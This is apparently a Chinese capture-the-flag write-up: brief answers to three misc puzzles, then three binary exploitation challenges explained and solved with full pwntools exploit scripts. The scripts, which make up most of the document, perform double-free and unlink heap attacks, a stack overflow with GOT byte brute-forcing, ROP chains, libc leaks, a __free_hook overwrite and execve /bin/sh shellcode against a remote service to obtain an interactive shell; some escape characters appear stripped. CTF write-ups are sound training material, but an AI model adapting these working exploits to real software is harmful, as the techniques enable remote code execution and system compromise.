misc 1
调戏i春秋公众号即可
misc 2
搜索一下波利比奥斯棋盘的图片,然后把数字对应转换成字母,即为flag
misc 3
对残诗base64解码,发现是诗经里面的一首
最后一句为“十月蟋蟀入我床下”
PWN 1 fast-fast-fast
漏洞是一个多次释放的漏洞,也可以转化为释放后重用:如图所示,释放的时候没有检查是否已经释放
用思路是控制free状态的fastbin的fd指针,指向全局管理结构。首先申请一个fastbin,然后释放掉,然后再申请一个normal chunk,这时再释放掉fastbin(触发漏洞,多次释放)实际释放的是normal chunk,这时需要在normal chunk范围内构造释放状态的fastbin,可以通过申请fastbin再释放即可。然后可以通过修改normal chunk篡改释放状态的fastbin的fd指针了。改为0x00000000006C4A80,最后通过saysecret申请一次fastbin,再申请一个fastbin即可控制全局管理结构了。然后的第一个问题是无法printf泄漏内存。且没有setcontext等切换栈的rop。解决方法:通过全局管理结构构造任意内存写,把free@GOT修改为printf,这样即可内存泄漏。然后通过environ泄漏栈地址,即可直接编辑栈了。最后的一个问题是题目没有system函数。解决方法:使用我们自己开发的工具自动构造ROP即可
#!/usr/bin/python
#edit by ysyy@NeSE
from pwn import *
from time import sleep
from sys import argv
from autorop import *
#s = remote('127.0.0.1',4545)
s = remote('106.75.66.195',11001)
#s = remote(lhost,lport,timeout=1.5)
#context.log_level = 'debug'
sleep(0.5)
def fastbin():
s.sendline('1')
s.recvuntil('3 : deletn')
def normalchunk():
s.sendline('2')
s.recvuntil('3 : deletn')
def saysect():
s.sendline('3')
def create(data):
s.sendline('1')
s.recvuntil('please input your secretn')
s.sendline(data)
s.recvuntil('3 : saysecretn')
def edit(data):
s.sendline('2')
s.recvuntil('please input your secrertn')
s.send(data)
#s.recvuntil('3 : saysecretn')
def delete():
s.sendline('3')
s.recvuntil('3 : saysecretn')
def show_order(num):
s.sendline('2')
s.recvuntil("Input the order's num:")
s.sendline(num)
#s.recvuntil('5. Exitn')
def read_it(addr):
fastbin()
edit(p64(1)+p64(0xF0F0)+p64(addr))
normalchunk()
s.sendline('3')
ret = s.recvuntil('choose')
ret = ret[:len(ret)-6]
return ret
def write_it(addr,data):
fastbin()
edit(p64(1)+p64(0x1F0)+p64(addr))
normalchunk()
edit(data)
s.recvuntil('3 : saysecretn')
#fastbin , and free
fastbin()
create("a")
fastbin()
delete()
#normal chunk
normalchunk()
create("b")
#free fastbin , but actually free chunk
fastbin()
delete()
#depart freed normal chunk
fastbin()
create("c")
fastbin()
delete()
#edit freed fastbin
normalchunk()
edit(p64(0x6c4aa0))
#alloc fastbin
saysect()
#alloc in manage struct
fastbin()
create(p64(0x00000000006C4A80))
#change free to printf
write_it(0x00000000006C3750,p64(0x00000000004082A0))
stack = u64(read_it(0x00000000006C3888).ljust(8,'x00'))
print hex(stack)
exe = 'fast-fast-fast'
chain= get_rop_chain(exe,0x00000)
p=''
for _ in chain:
p+=p64(_)
print len(p)
edit_ret = stack - 0x130
#raw_input('ggggg')
#context.log_level = 'debug'
#write_it(0x00000000006C3750,'aaaa')
write_it(edit_ret,p)
shellcode="x31xf6x48xbbx2fx62x69x6ex2fx2fx73x68x56x53x54x5fx6ax3bx58x31xd2x0fx05"
raw_input('ggggg')
s.send(shellcode)
s.interactive()
PWN 2 Black_hole
程序在sub_4006CC处有栈溢出,溢出长度正好能覆盖到返回地址
可以不断return到main函数然后再次出发溢出,这样每次能往栈上写入8字节,从而进行ROP。这里选择调用execve /bin/sh,控制eax为0x3B,ebx指向/bin/sh,ecx和edx为NULL,最后调用syscall。
1. 制造syscall:
虽然没有leak的机会,但是可以通过覆写GOT的最后一字节,期望能指向syscall指令。这里选择了alarm函数,并爆破其GOT最后一字节。
2. 控制eax值:
利用read函数的返回值即可控制eax。
爆破结果为0x5时,可以成功利用
exp如下:
from pwn import *
from time import sleep
import sys
gadget_1=p64(0x00000000004007A6)
gadget_2=p64(0x0000000000400790)
addr_got_read=0x0000000000601028
addr_bss=0x000000000601058
addr_got_alarm=0x0000000000601020
payload =gadget_1
payload+=p64(0)
payload+=p64(0)#rbx
payload+=p64(1)#rbp
payload+=p64(addr_got_read)#r12
payload+=p64(1)#r13rdx read num
payload+=p64(addr_got_alarm)#r14rsireadgot
payload+=p64(0x0)#r15edi read 0
payload+=gadget_2
payload+=p64(0)
payload+=p64(0)#rbx
payload+=p64(1)#rbp
payload+=p64(addr_got_read)#r12
payload+=p64(0x3B)
payload+=p64(addr_bss)#r14rsireadbss
payload+=p64(0x0)
payload+=gadget_2
payload+=p64(0)
payload+=p64(0)#rbx
payload+=p64(1)#rbp
payload+=p64(addr_bss+8)#r12
payload+=p64(0)
payload+=p64(0)
payload+=p64(addr_bss)
payload+=gadget_2
def write_stack(content, sec = 0.5):
p.sendline("2333")
sleep(sec)
p.send(content.rjust(0x18, "a") + p64(main))
sleep(sec)
if sys.argv[1] == "0":
off = 0x85
p = process("./black_hole")
sec = 0.2
else:
off = 5
p = remote("106.75.66.195", 11003)
sec = 1.5
main = 0x0000000000400704
log.info("write stack...")
for i in xrange(len(payload), 0, -8):
print i
write_stack(payload[i-8:i], sec)
p.sendline("2333")
sleep(sec)
p.send("a"*0x18 + p64(0x00000000004006CB))
sleep(sec)
log.info("try %s..." % hex(off))
p.send(chr(off)) # ovwer write one byte
sleep(sec)
payload2 = "/bin/shx00"
payload2 += p64(0x0000000000400540)
payload2 += (0x3B - len(payload2) - 1) * "a"
p.sendline(payload2)
p.interactive()
PWN 3 Werewolf
程序在sub_E57处存在double free
由于可以通过add a role任意控制malloc的大小和时机,所以可以unlink来利用漏洞。过程如下:
分配三个chunk
free掉第2个和第3个
malloc一个size为2、3之和的堆块,然后在chunk1和chunk3中进行内存布局再次free chunk3,造成Unlink实际过程中,还需要leak堆地址和libc地址,可以先free掉某个块,再通过show a role来leak。
Unlink后就有了任意地址写的能力,这里选择覆写free_hook为system地址,然后free掉保存有/bin/sh的堆,即可拿到shell。Exp如下:
from pwn import *
# context.log_level = "debug"
# p = process("./werewolf")
p = remote("106.75.66.195", 11002)
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("./libc-2.17.so")
def add(sz, content):
p.sendlineafter("5.Exitn", "1")
p.sendlineafter("size:n", str(sz))
p.sendafter("action:n", content)
def show(idx):
p.sendlineafter("5.Exitn", "2")
p.sendlineafter("idn", str(idx))
def edit(idx, content):
p.sendlineafter("5.Exitn", "3")
p.sendlineafter("idn", str(idx))
p.sendafter("actionn", content)
def kill(idx):
p.sendlineafter("5.Exitn", "4")
p.sendlineafter("idn", str(idx))
add(0x60, "/bin/shx00n")
add(0x100, "b"*0x100)
add(0x100, "c"*0x100)
add(0x100, "d"*0x100)
add(0x100, "e"*0x100)
kill(1)
kill(3)
show(1)
p.recvuntil("action : ")
main_arena = u64(p.recvuntil("n", drop = True).ljust(8, "x00")) - 88
log.info("leak : main_arena " + hex(main_arena))
show(3)
p.recvuntil("action : ")
heap = u64(p.recvuntil("n", drop = True).ljust(8, "x00"))
log.info("leak : heap " + hex(heap))
# off_main_arena = 3771136
off_main_arena = 0x3BA760
free_hook = main_arena - off_main_arena + libc.symbols["__free_hook"]
system = main_arena - off_main_arena + libc.symbols["system"]
log.info("free_hook : " + hex(free_hook))
log.info("system : " + hex(system))
# unlink
kill(2)
payload = "f"*0x110 + p64(0) + p64(0x100) + p64(heap - 0xF8) + p64(heap - 0xF0)
payload += "f"*0xE0 + p64(0x100) + p64(0x90) + "f"*0x80 + p64(0) + p64(0x101) + "n"
add(0x300, payload) # 5
kill(3)
# over write free_hook
edit(2, p64(0x60) + p64(free_hook) + "n")
edit(1, p64(system) + "n")
kill(0)
p.interactive()